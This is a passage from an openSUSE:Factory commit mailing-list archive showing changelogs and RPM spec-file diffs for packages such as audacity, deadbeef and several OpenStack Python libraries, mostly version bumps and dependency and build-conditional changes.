doc/build/html/.{doctrees,buildinfo} @@ -85,7 +90,12 @@ install -p -D -m 644 doc/build/man/glance.1 %{buildroot}%{_mandir}/man1/glance.1 %check +%if 0%{?rhel} || 0%{?fedora} +# disable tests until rdo updated to requests > 2.14 +true +%else %{__python2} setup.py testr +%endif %files %license LICENSE ++++++ _service ++++++ --- /var/tmp/diff_new_pack.elANvQ/_old 2017-08-28 15:32:56.939616547 +0200 +++ /var/tmp/diff_new_pack.elANvQ/_new 2017-08-28 15:32:56.943615985 +0200 @@ -1,13 +1,12 @@ <services> <service mode="disabled" name="renderspec"> - <param name="input-template">https://raw.githubusercontent.com/openstack/rpm-packaging/master/openstack/…</param> + <param name="input-template">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/pike/opens…</param> <param name="output-name">python-glanceclient.spec</param> - <param name="requirements">https://raw.githubusercontent.com/openstack/rpm-packaging/master/global-req…</param> + <param name="requirements">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/pike/globa…</param> + <param name="changelog-email">cloud-devel(a)suse.de</param> + <param name="changelog-provider">gh,openstack,python-glanceclient</param> </service> <service mode="disabled" name="download_files"> - <param name="changesgenerate">enable</param> - </service> - <service name="refresh_patches" mode="disabled"> - <param name="changesgenerate">enable</param> </service> + <service name="format_spec_file" mode="disabled"/> </services> ++++++ python-glanceclient-2.5.0.tar.gz -> python-glanceclient-2.8.0.tar.gz ++++++ ++++ 11272 lines of diff (skipped)

1 0

commit audacity for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package audacity for openSUSE:Factory checked in at 2017-08-28 15:32:51 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/audacity (Old) and /work/SRC/openSUSE:Factory/.audacity.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "audacity" Mon Aug 28 15:32:51 2017 rev:74 rq:518795 version:2.1.3 Changes: -------- --- /work/SRC/openSUSE:Factory/audacity/audacity.changes 2017-07-06 00:04:22.430063424 +0200 +++ /work/SRC/openSUSE:Factory/.audacity.new/audacity.changes 2017-08-28 15:32:52.376258115 +0200 @@ -1,0 +2,10 @@ +Fri Aug 25 15:16:21 UTC 2017 - davejplater(a)gmail.com + +- Restore conditionals for lame, mad and twolame. + +------------------------------------------------------------------- +Fri Aug 25 06:19:49 UTC 2017 - olaf(a)aepfle.de + +- Remove conditionals for ffmpeg, lame, mad, twolame. + +------------------------------------------------------------------- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ audacity.spec ++++++ --- /var/tmp/diff_new_pack.Pp89IV/_old 2017-08-28 15:32:53.736066938 +0200 +++ /var/tmp/diff_new_pack.Pp89IV/_new 2017-08-28 15:32:53.744065814 +0200 @@ -16,10 +16,11 @@ # +%if 0%{?suse_version} < 1330 %bcond_with mad -%bcond_with lame -%bcond_with twolame -%bcond_without ffmpeg +%else +%bcond_without mad +%endif Name: audacity Version: 2.1.3 @@ -44,17 +45,12 @@ BuildRequires: desktop-file-utils #Audacity only builds with gcc >= 4.9 # WARNING: Anything built against wxWidgets with gcc >= 5 needs widgets built with relax-abi.diff -%if 0%{?suse_version} > 1320 -BuildRequires: gcc-c++ -%else -# Bomi requires C++14 support. -%if 0%{?sle_version} == 120100 -# Leap 42.1 +%if 0%{?suse_version} < 1330 +BuildRequires: cpp5 +BuildRequires: gcc5 BuildRequires: gcc5-c++ %else -# Leap 42.2+ / SLE12SP2Backports -BuildRequires: gcc6-c++ -%endif +BuildRequires: gcc-c++ %endif BuildRequires: hicolor-icon-theme BuildRequires: wxWidgets-3_0-nostl-devel @@ -65,11 +61,9 @@ BuildRequires: pkgconfig(gtk+-2.0) >= 2.4.0 BuildRequires: pkgconfig(id3tag) BuildRequires: pkgconfig(jack) -%if %{with ffmpeg} BuildRequires: pkgconfig(libavcodec) >= 51.53 BuildRequires: pkgconfig(libavformat) >= 52.12 BuildRequires: pkgconfig(libavutil) -%endif BuildRequires: pkgconfig(lilv-0) >= 0.16 BuildRequires: pkgconfig(lv2) BuildRequires: pkgconfig(ogg) @@ -82,24 +76,19 @@ BuildRequires: pkgconfig(vorbis) BuildRequires: pkgconfig(vorbisenc) BuildRequires: pkgconfig(vorbisfile) +%if %{with mad} +BuildRequires: libmp3lame-devel +BuildRequires: pkgconfig(mad) +BuildRequires: pkgconfig(twolame) +%endif # This would require to patch our portaudio package with "PortMixer"... an extra API that never got integrated in PortAudio. #BuildRequires: portaudio-devel Recommends: %{name}-lang -Recommends: libavcodec -Recommends: libavformat -Recommends: libavutil +# WARNING Nothing provides libavutil without a suffix +Requires: ffmpeg Recommends: libmp3lame0 Requires: libFLAC++6 >= 1.3.1 Requires: libFLAC8 >= 1.3.1 -%if %{with mad} -BuildRequires: pkgconfig(mad) -%endif -%if %{with lame} -BuildRequires: libmp3lame-devel -%endif -%if %{with twolame} -BuildRequires: pkgconfig(twolame) -%endif %description Audacity is a program that manipulates digital audio wave forms. In @@ -119,17 +108,13 @@ cp -f %{SOURCE1} LICENSE_NYQUIST.txt # Make sure we use the system versions. rm -rf lib-src/{expat,libvamp,libsoxr,ffmpeg}/ -%if %{with lame} -rm -rf lib-src/lame/ +%if %{with mad} +rm -rf lib-src/lame %endif %build test -x "$(type -p gcc-5)" && export CC=gcc-5 test -x "$(type -p g++-5)" && export CXX=g++-5 -test -x "$(type -p gcc-6)" && export CC=gcc-6 -test -x "$(type -p g++-6)" && export CXX=g++-6 -test -x "$(type -p gcc-7)" && export CC=gcc-7 -test -x "$(type -p g++-7)" && export CXX=g++-7 export CFLAGS="%{optflags} -fno-strict-aliasing" export CXXFLAGS="$CFLAGS -std=gnu++11" aclocal -I m4 @@ -138,8 +123,14 @@ %ifnarch %ix86 x86_64 --disable-sse \ %endif -%if %{with ffmpeg} --with-ffmpeg=system \ +%if %{with mad} + --with-libmad=system \ + --with-libtwolame=system \ + --with-lame=system \ +%else + --without-libmad \ + --without-libtwolame \ %endif --docdir=%{_docdir}/%{name}/

1 0

commit audacious-plugins for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package audacious-plugins for openSUSE:Factory checked in at 2017-08-28 15:32:46 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/audacious-plugins (Old) and /work/SRC/openSUSE:Factory/.audacious-plugins.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "audacious-plugins" Mon Aug 28 15:32:46 2017 rev:3 rq:518744 version:3.9 Changes: -------- --- /work/SRC/openSUSE:Factory/audacious-plugins/audacious-plugins.changes 2017-08-24 18:56:43.916813400 +0200 +++ /work/SRC/openSUSE:Factory/.audacious-plugins.new/audacious-plugins.changes 2017-08-28 15:32:50.848472908 +0200 @@ -1,0 +2,5 @@ +Fri Aug 25 06:19:49 UTC 2017 - olaf(a)aepfle.de + +- Remove conditionals for lame, qt and mpg123 + +------------------------------------------------------------------- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ audacious-plugins.spec ++++++ --- /var/tmp/diff_new_pack.mUoK0X/_old 2017-08-28 15:32:51.864330088 +0200 +++ /var/tmp/diff_new_pack.mUoK0X/_new 2017-08-28 15:32:51.884327276 +0200 @@ -19,13 +19,8 @@ %define __provides_exclude_from ^%{_libdir}/audacious/*/.*.so$ %define aud_ver_min 3.9 %define aud_ver_max 3.9.99 -%if 0%{?suse_version} >= 1320 || (0%{?sle_version} >= 120100 && 0%{?is_opensuse}) %bcond_without qt -%else -%bcond_with qt -%endif %bcond_with faad -%bcond_with lame %bcond_with restricted %bcond_without gtk Name: audacious-plugins @@ -89,22 +84,16 @@ BuildRequires: pkgconfig(xcomposite) BuildRequires: pkgconfig(xrender) %endif -%if %{with qt} BuildRequires: pkgconfig(Qt5Core) >= 5.2 BuildRequires: pkgconfig(Qt5Gui) >= 5.2 BuildRequires: pkgconfig(Qt5Multimedia) >= 5.2 BuildRequires: pkgconfig(Qt5OpenGL) >= 5.2 BuildRequires: pkgconfig(Qt5Widgets) >= 5.2 -%endif %if %{with faad} BuildRequires: libfaad-devel %endif -%if %{with lame} BuildRequires: libmp3lame-devel -%endif -%if 0%{?suse_version} > 1320 || 0%{?sle_version} > 120200 || %{with restricted} BuildRequires: pkgconfig(libmpg123) >= 1.12 -%endif %description Plugins for the Audacious audio player. @@ -126,11 +115,7 @@ %build NOCONFIGURE=1 ./autogen.sh %configure \ -%if %{with qt} --enable-qt \ -%else - --disable-qt \ -%endif %if %{with gtk} --enable-gtk \ %else @@ -141,11 +126,7 @@ %else --disable-aac \ %endif -%if 0%{?suse_version} > 1320 || 0%{?sle_version} > 120200 || %{with restricted} --enable-mpg123 -%else - --disable-mpg123 -%endif make %{?_smp_mflags} V=1 %install

1 0

commit deadbeef for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package deadbeef for openSUSE:Factory checked in at 2017-08-28 15:32:43 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/deadbeef (Old) and /work/SRC/openSUSE:Factory/.deadbeef.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "deadbeef" Mon Aug 28 15:32:43 2017 rev:4 rq:518742 version:0.7.2 Changes: -------- --- /work/SRC/openSUSE:Factory/deadbeef/deadbeef.changes 2017-07-08 12:35:58.237157086 +0200 +++ /work/SRC/openSUSE:Factory/.deadbeef.new/deadbeef.changes 2017-08-28 15:32:47.928883375 +0200 @@ -1,0 +2,5 @@ +Fri Aug 25 06:10:58 UTC 2017 - olaf(a)aepfle.de + +- Remove mpg123/mad conditional because it is always present + +------------------------------------------------------------------- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ deadbeef.spec ++++++ --- /var/tmp/diff_new_pack.YNsAqy/_old 2017-08-28 15:32:49.316688262 +0200 +++ /var/tmp/diff_new_pack.YNsAqy/_new 2017-08-28 15:32:49.320687700 +0200 @@ -16,8 +16,6 @@ # -%bcond_without mpg123 -%bcond_with mad %bcond_with restricted Name: deadbeef Version: 0.7.2 @@ -65,12 +63,8 @@ BuildRequires: pkgconfig(vorbis) BuildRequires: pkgconfig(wavpack) Recommends: %{name}-lang -%if %{with mpg123} BuildRequires: pkgconfig(libmpg123) -%endif -%if %{with mad} BuildRequires: pkgconfig(mad) -%endif %if %{with restricted} BuildRequires: libfaad-devel Requires: %{name}-plugins-extra = %{version} @@ -179,9 +173,7 @@ %{_libdir}/%{name}/converter.so* %{_libdir}/%{name}/dsp_libsrc.so* %{_libdir}/%{name}/m3u.so* -%if %{with mpg123} || %{with mad} %{_libdir}/%{name}/mp3.so* -%endif %{_libdir}/%{name}/vfs_zip.so* %{_libdir}/%{name}/ddb_dumb.so* %{_libdir}/%{name}/ddb_mono2stereo.so*

1 0

commit python-taskflow for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package python-taskflow for openSUSE:Factory checked in at 2017-08-28 15:32:40 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/python-taskflow (Old) and /work/SRC/openSUSE:Factory/.python-taskflow.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "python-taskflow" Mon Aug 28 15:32:40 2017 rev:9 rq:518647 version:2.14.0 Changes: -------- --- /work/SRC/openSUSE:Factory/python-taskflow/python-taskflow.changes 2017-02-21 13:41:38.258029905 +0100 +++ /work/SRC/openSUSE:Factory/.python-taskflow.new/python-taskflow.changes 2017-08-28 15:32:43.029572171 +0200 @@ -1,0 +2,26 @@ +Fri Aug 25 06:41:15 UTC 2017 - tbechtold(a)suse.com + +- Requires cleanup + +------------------------------------------------------------------- +Mon Aug 7 14:25:07 UTC 2017 - cloud-devel(a)suse.de + +- update to version 2.14.0 + - Fix py35 test failure + - Fix process based executor task proxying-back events + - do not allow redis job reclaim by same owner + - Protect storage better against external concurrent access + - switch from oslosphinx to openstackdocstheme + - Replace assertRaisesRegexp with assertRaisesRegex + - Prepare for using standard python tests + - Use https instead of http for git.openstack.org + - python3.0 has deprecated LOG.warn + - Update reno for stable/ocata + - rearrange existing documentation into the new standard layout + - Fix html_last_updated_fmt for Python3 + - Update URLs in documents according to document migration + - Updated from global requirements + - turn on warning-is-error in doc build + - Stop using oslotest.mockpatch + +------------------------------------------------------------------- Old: ---- taskflow-2.9.0.tar.gz New: ---- taskflow-2.14.0.tar.gz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ python-taskflow.spec ++++++ --- /var/tmp/diff_new_pack.Y5ze3f/_old 2017-08-28 15:32:44.349386618 +0200 +++ /var/tmp/diff_new_pack.Y5ze3f/_new 2017-08-28 15:32:44.357385494 +0200 @@ -21,7 +21,7 @@ %global rdo 1 %endif Name: python-taskflow -Version: 2.9.0 +Version: 2.14.0 Release: 0 Summary: Taskflow structured state management library License: Apache-2.0 @@ -32,7 +32,7 @@ BuildRequires: python-PyMySQL >= 0.7.6 BuildRequires: python-SQLAlchemy >= 1.0.10 BuildRequires: python-SQLAlchemy-Utils -BuildRequires: python-alembic >= 0.8.4 +BuildRequires: python-alembic >= 0.8.10 BuildRequires: python-automaton >= 0.5.0 BuildRequires: python-cachetools >= 1.1.0 BuildRequires: python-contextlib2 >= 0.4.0 @@ -43,24 +43,22 @@ BuildRequires: python-futurist >= 0.11.0 BuildRequires: python-jsonschema >= 2.0.0 BuildRequires: python-kazoo >= 2.2 -BuildRequires: python-kombu >= 3.0.25 +BuildRequires: python-kombu >= 4.0.0 BuildRequires: python-mock >= 2.0 BuildRequires: python-networkx >= 1.10 BuildRequires: python-oslo.serialization >= 1.10.0 -BuildRequires: python-oslo.utils >= 3.18.0 +BuildRequires: python-oslo.utils >= 3.20.0 BuildRequires: python-oslotest >= 1.10.0 -BuildRequires: python-pbr >= 1.8 +BuildRequires: python-pbr >= 2.0.0 BuildRequires: python-psycopg2 >= 2.5 BuildRequires: python-pydotplus >= 2.0.2 BuildRequires: python-redis >= 2.10.0 BuildRequires: python-retrying >= 1.2.3 -BuildRequires: python-stevedore >= 1.17.1 +BuildRequires: python-stevedore >= 1.20.0 BuildRequires: python-tenacity >= 3.2.1 BuildRequires: python-testscenarios >= 0.4 BuildRequires: python-testtools >= 1.4.0 BuildRequires: python-zake >= 0.1.6 -Requires: python-Babel >= 2.3.4 -Requires: python-anyjson >= 0.3.3 Requires: python-automaton >= 0.5.0 Requires: python-cachetools >= 1.1.0 Requires: python-contextlib2 >= 0.4.0 @@ -69,16 +67,13 @@ Requires: python-fasteners >= 0.7 Requires: python-futures >= 3.0 Requires: python-futurist >= 0.11.0 -Requires: python-iso8601 >= 0.1.11 Requires: python-jsonschema >= 2.0.0 Requires: python-kazoo >= 2.2 -Requires: python-monotonic >= 0.6 Requires: python-networkx >= 1.10 Requires: python-oslo.serialization >= 1.10.0 -Requires: python-oslo.utils >= 3.18.0 -Requires: python-retrying >= 1.2.3 +Requires: python-oslo.utils >= 3.20.0 Requires: python-six >= 1.9.0 -Requires: python-stevedore >= 1.17.1 +Requires: python-stevedore >= 1.20.0 Requires: python-tenacity >= 3.2.1 BuildArch: noarch @@ -90,7 +85,7 @@ Summary: Documentation for Taskflow Group: Documentation BuildRequires: python-Sphinx -BuildRequires: python-oslosphinx >= 4.7.0 +BuildRequires: python-openstackdocstheme >= 1.11.0 %description doc A library to do [jobs, tasks, flows] in a HA manner using @@ -100,6 +95,7 @@ %prep %autosetup -n %{pypi_name}-%{version} %py_req_cleanup +sed -i 's/^warning-is-error.*/warning-is-error = 0/g' setup.cfg %if 0%{?rdo} # TODO(jpena) remove once python-networking subpackaging is fixed ++++++ _service ++++++ --- /var/tmp/diff_new_pack.Y5ze3f/_old 2017-08-28 15:32:44.545359067 +0200 +++ /var/tmp/diff_new_pack.Y5ze3f/_new 2017-08-28 15:32:44.565356255 +0200 @@ -1,8 +1,8 @@ <services> <service mode="disabled" name="renderspec"> - <param name="input-template">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/ocata/open…</param> + <param name="input-template">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/pike/opens…</param> <param name="output-name">python-taskflow.spec</param> - <param name="requirements">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/ocata/glob…</param> + <param name="requirements">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/pike/globa…</param> <param name="changelog-email">cloud-devel(a)suse.de</param> <param name="changelog-provider">gh,openstack,taskflow</param> </service> ++++++ taskflow-2.9.0.tar.gz -> taskflow-2.14.0.tar.gz ++++++ ++++ 11312 lines of diff (skipped)

1 0

commit python-automaton for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package python-automaton for openSUSE:Factory checked in at 2017-08-28 15:32:34 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/python-automaton (Old) and /work/SRC/openSUSE:Factory/.python-automaton.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "python-automaton" Mon Aug 28 15:32:34 2017 rev:6 rq:518505 version:1.12.0 Changes: -------- --- /work/SRC/openSUSE:Factory/python-automaton/python-automaton.changes 2017-02-21 13:39:00.348306660 +0100 +++ /work/SRC/openSUSE:Factory/.python-automaton.new/python-automaton.changes 2017-08-28 15:32:40.765890423 +0200 @@ -1,0 +2,19 @@ +Thu Aug 24 08:47:50 UTC 2017 - tbechtold(a)suse.com + +- Fix url + +------------------------------------------------------------------- +Mon Aug 7 08:02:57 UTC 2017 - cloud-devel(a)suse.de + +- update to version 1.12.0 + - rearrange existing documentation according to the new standard layout + - Update URLs in documents according to document migration + - Remove support for py34 + - update link to docs in readme + - Update reno for stable/ocata + - Remove unused dependecy testscenarios + - Remove pbr warnerrors in favor of sphinx check + - Updated from global requirements + - switch from oslosphinx to openstackdocstheme + +------------------------------------------------------------------- Old: ---- automaton-1.7.0.tar.gz New: ---- automaton-1.12.0.tar.gz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ python-automaton.spec ++++++ --- /var/tmp/diff_new_pack.qSm515/_old 2017-08-28 15:32:42.001716678 +0200 +++ /var/tmp/diff_new_pack.qSm515/_new 2017-08-28 15:32:42.017714430 +0200 @@ -18,12 +18,12 @@ %global sname automaton Name: python-automaton -Version: 1.7.0 +Version: 1.12.0 Release: 0 Summary: Friendly state machines for python License: Apache-2.0 Group: Development/Languages/Python -Url: https://launchpad/%{sname} +Url: https://launchpad.net/%{sname} Source0: https://pypi.io/packages/source/a/%{sname}/%{sname}-%{version}.tar.gz BuildRequires: openstack-macros BuildRequires: python-PrettyTable >= 0.7.1 @@ -31,13 +31,13 @@ BuildRequires: python-devel BuildRequires: python-oslosphinx >= 4.7.0 BuildRequires: python-oslotest >= 1.10.0 -BuildRequires: python-pbr >= 1.8 +BuildRequires: python-pbr >= 2.0.0 BuildRequires: python-testrepository >= 0.0.18 BuildRequires: python-testscenarios >= 0.4 BuildRequires: python-testtools >= 1.4.0 Requires: python-PrettyTable >= 0.7.1 Requires: python-debtcollector >= 1.2.0 -Requires: python-pbr >= 1.8 +Requires: python-pbr >= 2.0.0 Requires: python-six >= 1.9.0 BuildArch: noarch @@ -48,7 +48,7 @@ Summary: Documentation for the Automaton Library Group: Development/Languages/Python BuildRequires: python-Sphinx -BuildRequires: python-oslosphinx >= 4.7.0 +BuildRequires: python-openstackdocstheme >= 1.11.0 %description doc Documentation for the Automaton library. @@ -56,6 +56,7 @@ %prep %autosetup -n %{sname}-%{version} %py_req_cleanup +sed -i 's/^warning-is-error.*/warning-is-error = 0/g' setup.cfg %build %py2_build ++++++ _service ++++++ --- /var/tmp/diff_new_pack.qSm515/_old 2017-08-28 15:32:42.121699810 +0200 +++ /var/tmp/diff_new_pack.qSm515/_new 2017-08-28 15:32:42.121699810 +0200 @@ -1,8 +1,8 @@ <services> <service mode="disabled" name="renderspec"> - <param name="input-template">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/ocata/open…</param> + <param name="input-template">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/pike/opens…</param> <param name="output-name">python-automaton.spec</param> - <param name="requirements">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/ocata/glob…</param> + <param name="requirements">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/pike/globa…</param> <param name="changelog-email">cloud-devel(a)suse.de</param> <param name="changelog-provider">gh,openstack,automaton</param> </service> ++++++ automaton-1.7.0.tar.gz -> automaton-1.12.0.tar.gz ++++++ ++++ 1650 lines of diff (skipped)

1 0

commit python-monascaclient for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package python-monascaclient for openSUSE:Factory checked in at 2017-08-28 15:32:33 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/python-monascaclient (Old) and /work/SRC/openSUSE:Factory/.python-monascaclient.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "python-monascaclient" Mon Aug 28 15:32:33 2017 rev:3 rq:518503 version:1.7.0 Changes: -------- --- /work/SRC/openSUSE:Factory/python-monascaclient/python-monascaclient.changes 2017-04-24 09:48:25.546995343 +0200 +++ /work/SRC/openSUSE:Factory/.python-monascaclient.new/python-monascaclient.changes 2017-08-28 15:32:34.950707980 +0200 @@ -1,0 +2,25 @@ +Thu Aug 24 08:42:27 UTC 2017 - cloud-devel(a)suse.de + +- update to version 1.7.0 + - Bringing back backward compatybility + - Integrate client with osc-lib + - Updated from global requirements + - Added support for os_tenant_{name,id} after os_project_ + +------------------------------------------------------------------- +Mon Aug 7 11:30:27 UTC 2017 - cloud-devel(a)suse.de + +- update to version 1.6.0 + - Added support for os_auth_version when os_auth_url is unversiond + - Optimize the link address + - Remove unused requirements + - Fix: CLI metric-create using project-id fails + - Replacing six.iteritems() with .items() + - Turn on bandit check as part of pep8 + - Fix notification-patch CLI fails if type not given + - Migrate fully to ostestr + - Updated from global requirements +- drop 0001-Added-support-for-os_auth_version-when-os_auth_url-i.patch . + applied upstream. + +------------------------------------------------------------------- Old: ---- 0001-Added-support-for-os_auth_version-when-os_auth_url-i.patch python-monascaclient-1.5.0.tar.gz New: ---- python-monascaclient-1.7.0.tar.gz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ python-monascaclient.spec ++++++ --- /var/tmp/diff_new_pack.YtXdhf/_old 2017-08-28 15:32:36.282520740 +0200 +++ /var/tmp/diff_new_pack.YtXdhf/_new 2017-08-28 15:32:36.310516804 +0200 @@ -18,15 +18,13 @@ %global sname python-monascaclient Name: python-monascaclient -Version: 1.5.0 +Version: 1.7.0 Release: 0 Summary: Python API and CLI for OpenStack Monasca License: Apache-2.0 Group: Development/Languages/Python Url: https://launchpad.net/%{sname} Source0: https://pypi.io/packages/source/p/%{sname}/%{sname}-%{version}.tar.gz -# from https://review.openstack.org/#/c/457663/ -Patch1: 0001-Added-support-for-os_auth_version-when-os_auth_url-i.patch BuildRequires: openstack-macros BuildRequires: python-PrettyTable >= 0.7.1 BuildRequires: python-PyYAML >= 3.10.0 @@ -35,13 +33,15 @@ BuildRequires: python-keystoneclient >= 3.8.0 BuildRequires: python-mock >= 2.0 BuildRequires: python-mox3 >= 0.7.0 +BuildRequires: python-osc-lib >= 1.5.1 BuildRequires: python-oslo.concurrency >= 3.8.0 -BuildRequires: python-oslo.config >= 3.14.0 +BuildRequires: python-oslo.config >= 4.0.0 BuildRequires: python-oslo.i18n >= 2.1.0 -BuildRequires: python-oslo.log >= 3.11.0 +BuildRequires: python-oslo.log >= 3.22.0 BuildRequires: python-oslo.serialization >= 1.10.0 -BuildRequires: python-oslo.utils >= 3.18.0 -BuildRequires: python-pbr >= 1.8 +BuildRequires: python-oslo.utils >= 3.20.0 +BuildRequires: python-oslotest >= 1.10.0 +BuildRequires: python-pbr >= 2.0.0 BuildRequires: python-requests-mock >= 1.1 BuildRequires: python-setuptools >= 16.0 BuildRequires: python-testrepository >= 0.0.18 @@ -51,15 +51,16 @@ Requires: python-PrettyTable >= 0.7.1 Requires: python-PyYAML >= 3.10.0 Requires: python-keystoneclient >= 3.8.0 +Requires: python-osc-lib >= 1.5.1 Requires: python-oslo.concurrency >= 3.8.0 -Requires: python-oslo.config >= 3.14.0 +Requires: python-oslo.config >= 4.0.0 Requires: python-oslo.i18n >= 2.1.0 -Requires: python-oslo.log >= 3.11.0 +Requires: python-oslo.log >= 3.22.0 Requires: python-oslo.serialization >= 1.10.0 Requires: python-oslo.service >= 1.10.0 -Requires: python-oslo.utils >= 3.18.0 -Requires: python-pbr >= 1.8 -Requires: python-requests >= 2.10.0 +Requires: python-oslo.utils >= 3.20.0 +Requires: python-pbr >= 2.0.0 +Requires: python-requests >= 2.14.2 Requires: python-six >= 1.9.0 BuildArch: noarch @@ -71,7 +72,7 @@ The Monasca Client was written using the OpenStack Heat Python client as a framework. %prep -%autosetup -p1 -n %{sname}-%{version} +%autosetup -n %{sname}-%{version} %py_req_cleanup %build ++++++ _service ++++++ --- /var/tmp/diff_new_pack.YtXdhf/_old 2017-08-28 15:32:36.454496562 +0200 +++ /var/tmp/diff_new_pack.YtXdhf/_new 2017-08-28 15:32:36.470494313 +0200 @@ -1,8 +1,8 @@ <services> <service mode="disabled" name="renderspec"> - <param name="input-template">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/ocata/open…</param> + <param name="input-template">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/pike/opens…</param> <param name="output-name">python-monascaclient.spec</param> - <param name="requirements">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/ocata/glob…</param> + <param name="requirements">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/pike/globa…</param> <param name="changelog-email">cloud-devel(a)suse.de</param> <param name="changelog-provider">gh,openstack,python-monascaclient</param> </service> ++++++ python-monascaclient-1.5.0.tar.gz -> python-monascaclient-1.7.0.tar.gz ++++++ ++++ 5361 lines of diff (skipped)

1 0

commit python-oslo.context for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package python-oslo.context for openSUSE:Factory checked in at 2017-08-28 15:32:30 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/python-oslo.context (Old) and /work/SRC/openSUSE:Factory/.python-oslo.context.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "python-oslo.context" Mon Aug 28 15:32:30 2017 rev:8 rq:518429 version:2.17.0 Changes: -------- --- /work/SRC/openSUSE:Factory/python-oslo.context/python-oslo.context.changes 2017-02-21 13:46:46.318570032 +0100 +++ /work/SRC/openSUSE:Factory/.python-oslo.context.new/python-oslo.context.changes 2017-08-28 15:32:32.715022293 +0200 @@ -1,0 +2,18 @@ +Mon Aug 7 08:06:18 UTC 2017 - cloud-devel(a)suse.de + +- update to version 2.17.0 + - Provide unified calling interface for global_id + - Fix URLs according to document migration + - pbr.version.VersionInfo needs package name (oslo.xyz and not oslo_xyz) + - Cleanup document formatting + - rearrange the documentation to fit into the new standard layout + - Postpone deprecation warnings to Pike + - [Fix gate]Update test requirement + - Add global_request_id to context + - Update reno for stable/ocata + - Remove pbr warnerrors in favor of sphinx check + - Updated from global requirements + - Switch from oslosphinx to openstackdocstheme + - Optimize the link address + +------------------------------------------------------------------- Old: ---- oslo.context-2.12.1.tar.gz New: ---- oslo.context-2.17.0.tar.gz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ python-oslo.context.spec ++++++ --- /var/tmp/diff_new_pack.xOCPtT/_old 2017-08-28 15:32:33.898855859 +0200 +++ /var/tmp/diff_new_pack.xOCPtT/_new 2017-08-28 15:32:33.910854172 +0200 @@ -19,7 +19,7 @@ %global sname oslo.context %bcond_without test Name: python-oslo.context -Version: 2.12.1 +Version: 2.17.0 Release: 0 Summary: OpenStack Oslo context library License: Apache-2.0 @@ -27,7 +27,7 @@ Url: https://launchpad.net/%{sname} Source0: https://pypi.io/packages/source/o/%{sname}/%{sname}-%{version}.tar.gz BuildRequires: openstack-macros -BuildRequires: python-pbr >= 1.8 +BuildRequires: python-pbr >= 2.0.0 BuildRequires: python-positional >= 1.1.1 Requires: python-debtcollector >= 1.2.0 Requires: python-positional >= 1.1.1 @@ -47,7 +47,7 @@ Summary: Documentation for OpenStack common context library Group: Documentation BuildRequires: python-Sphinx -BuildRequires: python-oslosphinx >= 4.7.0 +BuildRequires: python-openstackdocstheme >= 1.11.0 %description doc Documentation for the oslo-context library. @@ -55,6 +55,8 @@ %prep %autosetup -n %{sname}-%{version} %py_req_cleanup +# without git, openstackdocstheme has warnings which let the doc build fail +sed -i 's/^warning-is-error.*/warning-is-error = 0/g' setup.cfg %build %{py2_build} ++++++ _service ++++++ --- /var/tmp/diff_new_pack.xOCPtT/_old 2017-08-28 15:32:34.094828307 +0200 +++ /var/tmp/diff_new_pack.xOCPtT/_new 2017-08-28 15:32:34.098827745 +0200 @@ -1,8 +1,8 @@ <services> <service mode="disabled" name="renderspec"> - <param 